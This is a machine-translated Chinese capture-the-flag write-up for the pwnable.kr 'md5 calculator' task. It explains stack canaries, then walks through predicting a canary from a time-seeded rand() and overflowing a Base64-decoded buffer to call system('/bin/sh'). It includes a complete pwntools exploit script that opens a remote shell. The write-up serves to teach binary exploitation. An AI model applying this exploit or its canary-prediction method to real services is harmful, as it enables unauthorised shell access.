使用pwnable.kr 23-MD5计算器解决问题。 我们处理Stack Canary。 在python中连接C库

图片

在本文中,我们将从网站pwnable.kr解决第23个任务,找出什么是堆栈金丝雀,然后在python中连接libc。

组织信息
特别是对于那些想要学习新知识并在信息和计算机安全性的任何领域中发展的人们,我将撰写和讨论以下类别:

  • PWN;
  • 密码学(加密);
  • 网络技术(网络);
  • 反向(反向工程);
  • 隐写术(Stegano);
  • 搜索和利用Web漏洞。

除此之外,我将分享我在计算机取证,恶意软件和固件分析,对无线网络和局域网的攻击,进行笔测试和编写漏洞利用程序方面的经验。

为了使您可以查找有关新文章,软件和其他信息的信息,我在Telegram中创建了一个频道,并创建了一个小组来讨论 ICD领域中的所有问题 。 另外,我会亲自考虑您的个人要求,问题,建议和建议, 并会回答所有人

提供所有信息仅出于教育目的。 对于由于使用本文档而获得的知识和方法对某人造成的任何损害,本文档的作者不承担任何责任。

堆栈金丝雀


Canary是放置在缓冲区与堆栈上的控制数据之间的已知值,以监视缓冲区溢出。 缓冲区溢出后,第一个要破坏的数据通常是金丝雀。 因此,将检查金丝雀的值,如果检查失败,则表明缓冲区溢出。 金丝雀分为三种:

  1. 终结者。 金丝雀由null终结符CR,LF和-1构建。 结果,攻击者必须在写返回地址之前写一个空字符,以避免更改金丝雀。 这样可以防止使用strcpy()和其他复制空字符时返回的方法进行攻击,而众所周知,金丝雀是不可取的。
  2. 随机的 随机生成。 通常,随机金丝雀会在程序初始化期间生成并存储在全局变量中。 此变量通常由未映射的页面补充,因此尝试使用任何使用错误从RAM读取错误的技巧来读取它都会导致分段错误,从而终止程序。
  3. 随机异或。 与控制数据争吵的随机金丝雀。 因此,金丝雀或控制数据一旦被阻塞,金丝雀的值将是不正确的。 它们具有与随机金丝雀相同的漏洞,除了用于获取金丝雀的“从堆栈读取”方法稍微复杂些。 攻击者必须接收金丝雀,算法和控制数据,以重新生成伪造保护所需的原始金丝雀。

MD5计算器工作的解决方案


我们继续第二部分。 我马上要说,这比第一种困难,而且我们没有提供应用程序的源代码。 不要忘记这里的讨论。 让我们开始吧。

单击带有签名md5计算器的图标。 我们获得了用于连接的地址和端口以及程序本身。

图片

下载他们给我们的所有内容,检查二进制文件。

图片

这是一个32位的elf,带有已安装的canary和不可执行的堆栈。 我们在IDA Pro中反编译。

图片

该程序具有内置的验证码检查功能。 我们看到两个有趣的函数:my_hash()和process_hash()。 让我们从第一个开始。

图片

让我们重新定义变量类型,并使代码更易于解析:

图片

因此,该函数将返回一些随机数。 同时,v3是地址EBP-0xC处的数据。 让我们看一下另一个函数。

图片

此处,变量v4在地址EBP-0xC处获取值,然后在该函数的出口处与该值争吵。 接下来,为v3变量分配512个字节,将键盘输入读入g_buf变量。 之后,来自g_buf的字符串在Base64中解码并写入v3。 根据v3 md5哈希值进行计算。 因此,对g_buf的输入和对v3的复制不受限制,因此存在缓冲区溢出! 让我们看一下堆栈。

图片

变量v3是位于缓冲区之后的堆栈Canary。 该程序还调用系统功能。 好吧,我们将为漏洞利用创建模板。

from pwn import * p = remote('127.0.0.1', 9002) p.recvuntil('captcha : ') captcha = int(p.recv()) p.sendline(str(captcha)) p.interactive() 

首先,让我们看一下有效负载。 我们必须使用参数“ / bin / sh”来调用系统功能。 但是由于堆栈不可执行,因此我们将调用系统函数,将控制权传递给程序中的地址,并将参数传递给“ / bin / sh”行的地址,并将其写入g_buf。

因此(看一下堆栈):您需要写入512字节的垃圾,然后写入4个字节的canary值,然后再写入12字节的垃圾。 现在,对于ret,我们必须指定系统功能的地址(4个字节),字符串“ / bin / sh”(4个字节)的地址以及字符串“ / bin / sh”本身。

现在找到未知数:系统调用地址。

图片

这是0x8049187。 字符串的地址是“ bin / sh”。 为此,我们需要将g_buf地址的字节数添加到“ / bin / sh”行,并考虑到base64编码-这是原始值的4/3。

图片

即,该行的地址:0x804b0e0 +(512 + 4 + 12 + 4 + 4 + 1)* 4/3 = 0x804b3ac。 弥补有效载荷。

 payload = 'A' * 512 payload += p32(canary) payload += 'A' * 12 payload += p32(0x8049187) payload += p32(0x804b3ac) payload = b64e(payload) payload += "/bin/sh\x00" 

仍然找不到金丝雀。 正如我们发现的那样,它在my_hash()函数中与随机值相加,结果使我们有了一个canary。 srand(时间(0))用作rand函数的种子。 也就是说,如果我们在漏洞利用程序中重复该过程,然后从发送的cookie中减去生成的值,我们将找到canary。 在python中从libc调用rand()。

 from ctypes import * import os import time libc=CDLL('libc.so.6') t = int(time.time()) libc.srand(t) n = [libc.rand() for _ in range(8)] canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6] canary &= 0xffffffff 

仅此而已。 完整的代码如下所示。
 from pwn import * from ctypes import * import os import time libc=CDLL('libc.so.6') t = int(time.time()) libc.srand(t) n = [libc.rand() for _ in range(8)] p = remote('127.0.0.1', 9002) p.recvuntil('captcha : ') captcha = int(p.recv()) p.sendline(str(captcha)) canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6] canary &= 0xffffffff payload = 'A' * 512 payload += p32(canary) payload += 'A' * 12 payload += p32(0x8049187) payload += p32(0x804b3ac) payload = b64e(payload) payload += "/bin/sh\x00" p.sendline(payload) p.interactive() 

我运行了好几次,但是没有用,然后我意识到,由于Internet的速度和时差,rand()的结果不匹配。 在服务器上启动。

图片

我们得到所需的标志。 您可以通过Telegram加入我们。

Source: https://habr.com/ru/post/zh-CN467485/


All Articles